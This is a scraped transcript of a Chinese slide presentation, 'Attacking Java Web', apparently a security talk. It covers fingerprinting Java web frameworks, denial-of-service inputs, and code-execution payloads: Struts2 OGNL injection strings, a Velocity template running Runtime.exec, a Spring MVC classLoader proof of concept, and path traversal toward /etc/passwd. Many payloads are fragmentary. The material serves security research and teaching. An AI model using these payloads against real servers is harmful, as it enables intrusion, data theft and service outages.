Presentation is loading. Please wait.

Presentation is loading. Please wait.

攻击JAVA WEB 阿里巴巴集团安全中心 周拓.

Similar presentations


Presentation on theme: "攻击JAVA WEB 阿里巴巴集团安全中心 周拓."— Presentation transcript:

1 攻击JAVA WEB 阿里巴巴集团安全中心 周拓

2 个人介绍 周拓 阿里巴巴集团安全中心 网名:空虚浪子心、kxlzx QQ:4700012 (&EMAIL)
个人BLOG: 微博:

3 适合听众 实战派攻击技术爱好者 WEB安全攻城狮 JAVA开发 安全扫描工具开发人员 理论派研究人员 默认大家已经掌握一些相关基础技术

4 JAVA WEB JSP Servlet

5 JAVA WEB J2EE 处理用户请求框架 J2EE ORM框架 J2EE 展示层框架 AJAX框架

6 JAVA WEB STRUTS2、spring mvc、turbine、JSF、DWR…etc action1 action2
USER STRUTS2、spring mvc、turbine、JSF、DWR…etc action1 action2 action3 Velocity、freemarker、JSP template1 template2

7 开始之前 任何攻击技术,技术本身都是有限的 不讲SQL INJECTION 不讲业务逻辑 现在,我们打开了一个JAVA网站

8 框架指纹的手工确认 架构师的故事 黑客的思路

9 默认扩展名 扩展名“*.action” 扩展名“*.do ” 扩展名“*.form ” 扩展名“*.vm” 扩展名“*.jsf ”

10 扩展名“*.action” 判断为struts2或webwork,得分:90%
官方DEMO 各种教程书籍

11 扩展名为“*.do” 判断为spring mvc 得分50% http://www.inbreak.net/index.do 方向性判断
官方文档 教程 还有很多其他框架(struts1等)

12 URL路径“/action/xxxx” 判断为struts2 得分 70%
官方手册 结合response的server字段

13 扩展名为“*.form” 看到一个表单 判断为spring mvc 得分70% 官方手册推荐 .NET偶尔也用

14 扩展名“*.vm” 判断为VelocityViewServlet 分值90% Velocity Velocity tools 教程
Turbine、Struts2、spring mvc都可能使用

15 扩展名“*.jsf ” Java Server Faces 得分99%

16 参数处理方式 目录 Struts2对string类型参数处理 一个参数,直接显示错误页面 spring mvc有个怪习惯

17 Struts2 string类型参数处理 《struts2框架安全缺陷》 《HTTP Parameter Pollution》
?username=aaa&username=bbb <input value="aaa, bbb" name="username" type="text" /> 得分95%

18 一个参数,变错误页面 所有的用户定义Action都继承这个类 Action中的setter方法 ActionSupport action1

19 一个参数,变错误页面 ActionSupport验证逻辑

20 一个参数,变错误页面 ?actionErrors=aaaaaaaaaa 100%确认,struts2框架

21 <form:checkbox path="favorites" value="1"/>computer
spring mvc有个怪习惯 spring mvc Spring tag lib checkbox <form:form> <form:checkbox path="favorites" value="1"/>computer </form:form>

22 spring mvc有个怪习惯 <input id="favorites1" name="favorites" type="checkbox" value="1"/><input type="hidden" name="_favorites" value="on"/>computer 90%确认,spring mvc

23 spring mvc有个怪习惯 EXAMPLE

24 默认URL处理逻辑 处理用户请求的框架 action1 action2 action3 template1 template2
url mapping USER 处理用户请求的框架 action1 action2 action3 template1 template2

25 turbine框架的逗号们 templates/pubinfo/infopub/businpub.html

26 turbine框架的逗号们 turbine/template/pubinfo,infopub,businpub.html Turbine

27 Struts2的叹号们 public class TestAction extends ActionSupport { public String adduser(){ return SUCCESS; }

28 Struts2的叹号们 http://www.inbreak.net/test.action
分值95%

29 默认开发命名 /xxxController /xxxController.do /controller/xxx.htm
Spring mvc 50%分值

30 所有框架指纹 让它出错 500错误 404错误 100%的确认框架

31 参数类型错误 数字,日期 变为string

32 参数类型错误

33 action=showAddPaymentPage
业务逻辑错误 action=showAddPaymentPage

34 Action[/XXXXX] does not contain method named YYYYY
业务逻辑错误 action=showAddPyy7aymentPage Action[/XXXXX] does not contain method named YYYYY

35 文件名错误

36 万能google 命名空间 google搜索“com.netease”

37 万能google

38 环境的影响 不断的招聘开发者 推荐框架、主要框架 离职可以立刻接手 加分项

39 可能的位置 Struts2 静态资源映射 Directory traversal vulnerability 《Struts2框架安全缺陷》
“struts”、或“static”开头

40 其他地方 开发人员的blog 内部论坛对外

41 框架指纹章节 Q&A?

42 有多少拒绝服务 目录 java浮点漏洞 Tomcat transfer-encoding: buffered Hash 碰撞

43 java浮点漏洞 网上交易

44 Struts2 DOS漏洞 java.lang.Double( e-308)

45 Struts2 DOS漏洞 new java.lang.Double( )

46 Struts2 DOS漏洞 仅仅是技术讨论 不适合实战 直接拿CVE 杀过去

47 spring mvc dos Message=${applicationScope} EL表达式
index.htm?message=${ }

48 邪恶的JAVA HASH DOS攻击 JSON OBJECT拒绝服务
url?var={“aaaaa”:”bbbbb”,”ccccc”:”ddddd”}

49 DWR框架DOS攻击 C0-pram0=Object_Object:{id:reference:c0-e2, address:reference:c0-e3,………..etc..}

50 有多少拒绝服务章节 Q & A

51 鸡肋变绝杀 提高漏洞的发现率 本地变远程

52 name="testloadfilepath">${testloadfilepath}</result>
提高struts2自定的页面漏洞的发现率 《struts2框架安全缺陷》 Struts2的那些result类型缺陷(自定的页面) <result name="testloadfilepath">${testloadfilepath}</result>

53 提高struts2自定的页面漏洞的发现率 某次看到一个用户登录系统 Inputpage=xxxx.jsp Input错误处理结果
Jsp,vm…etc

54 Struts2 XSLT本地代码执行

55 velocity本地代码执行(没有报告)
上传JPG #set ($exec = "kxlzx") $exec.class.forName("java.lang.Runtime").getRuntime().exec("calc") showcase/context.vm?layout=../z.gif

56 Velocity远程代码执行 resin服务器 log/access.log

57 Velocity远程代码执行 log/access.log

58 鸡肋变绝杀章节 Q & A

59 从alert到完美和谐的shellcode 目录
(CVE )的局限 shellcode无法回显 回显研究1(背后的技术) 回显研究2(背后的技术) 回显研究3(感谢wofeiwo提醒)

60 struts2远程代码执行的局限 http://www.inbreak.net/foo.action?foo=aaaaaaaaaaaaaa
public class FooAction { private String foo; public String execute() { return "success"; } public String getFoo() { return foo; public void setFoo(String foo) { this.foo = foo;

61 struts2远程代码执行的局限 /action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

62 struts2远程代码执行的局限 Spring mvc远程代码执行POC
class.classLoader.URLs[0]=jar: org.apache.catalina.loader.WebappClassLoader URLs Url jarPath String

63 struts2远程代码执行的局限

64 回显研究1(背后的技术) 执行结果出现在输入框

65 回显研究1(背后的技术) java.io.InputStreamReader(\u0023a)\u002c\u0023c\u003dnew

66 回显研究1(背后的技术) 执行结果

67 回显研究2(背后的技术) t1!getFoo.action?foo=aaa

68 回显研究2(背后的技术) t1!getFoo.action
public String getFoo() { return foo; } <action name="t1" class="testve.T1"> <result name="success">/T1.jsp</result> </action>

69 回显研究2(背后的技术) t1!getFoo.action?foo=aaa

70 回显研究2(背后的技术)

71 回显研究2(背后的技术) 只有在看到错误信息时,才可以用 不需要input Action中有一个string类型的变量

72 回显研究3(感谢wofeiwo提醒) (\u0023a
java.io.InputStreamReader(\u0023a)\u002c\u0023c\u003dnew java.io.BufferedReader(\u0023b)\u002c\u0023kxlzx

73 回显研究3 流程

74

75 回显研究3 流程 response输出流 立刻关闭 struts2的OGNL远程代码执行

76 写教程让那群傻X跟着做 网吧DDOS linux连接客户端,中文版被植入后门 为什么大家会下载 中文版

77 写教程让那群傻X跟着做 翻译 教程 傻瓜化

78 jboss漏洞的中文版 使用浏览器攻击JBOSS

79 jboss漏洞的中文版 删除jmx-console 删除web-console

80 jboss漏洞的中文版

81 jboss漏洞的中文版 所有的中文版修补方案,都没有提到

82 jboss漏洞的中文版

83 Struts2远程代码执行 Struts2远程代码执行技术(xwork2.1.2以上)
Atlassian Confluence远程代码执行漏洞

84 Struts2远程代码执行技术(xwork2.1.2)

85 Struts2远程代码执行(xwork2.1.2) Result "location" parameter should evaluate %{expr} <action name="redirect" class="TestRedirectAction">        <result name="redirect" type="redirect">%{redirectUrl}</result> </action> <action name="redirect" class="TestRedirectAction">        <result name="redirect" type="redirect">${redirectUrl}</result> </action>

86 Struts2远程代码执行技术(xwork2.1.2)
${expr1} %{expr2} public static Object translateVariables(参数省略) { Object result = expression; for (char open : openChars) { while (true) { 。。。 String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); public static String translateVariables(String expression, ValueStack stack) { return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString(); } %{expr2}

87 Struts2远程代码执行( xwork2.1.2 ) SHOWCASE
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">            <result type="redirect">edit.action?skillName=${currentSkill.name}</result>         </action>

88 Struts2远程代码执行(xwork2.1.2) Xwork1.0.3 ${${exp}}

89 Struts2远程代码执行(xwork1.0.3) url?currentSkill.name=${expr}

90 Atlassian Confluence远程代码执行
Atlassian\Confluence\confluence\WEB-INF\lib\xwork jar

91 Atlassian Confluence远程代码执行

92 Struts2远程代码执行技术 Q & A

93 预见未来

94 预见未来 预测 未来会出现一个远程代码执行漏洞 我现在连EXP都写好了 重要的是,现在它还没有这个漏洞

95 预见未来 Turbine

96 预见未来 indexof

97 Indexof获取扩展名 ,..,..,..,..,..,etc,passwd.htm

98 我提交了一个BUG

99 预见未来 使用前

100 预见未来 使用后

101 预见未来 请大家一起见证

102 Q & A thanks


Download ppt "攻击JAVA WEB 阿里巴巴集团安全中心 周拓."

Similar presentations


Ads by Google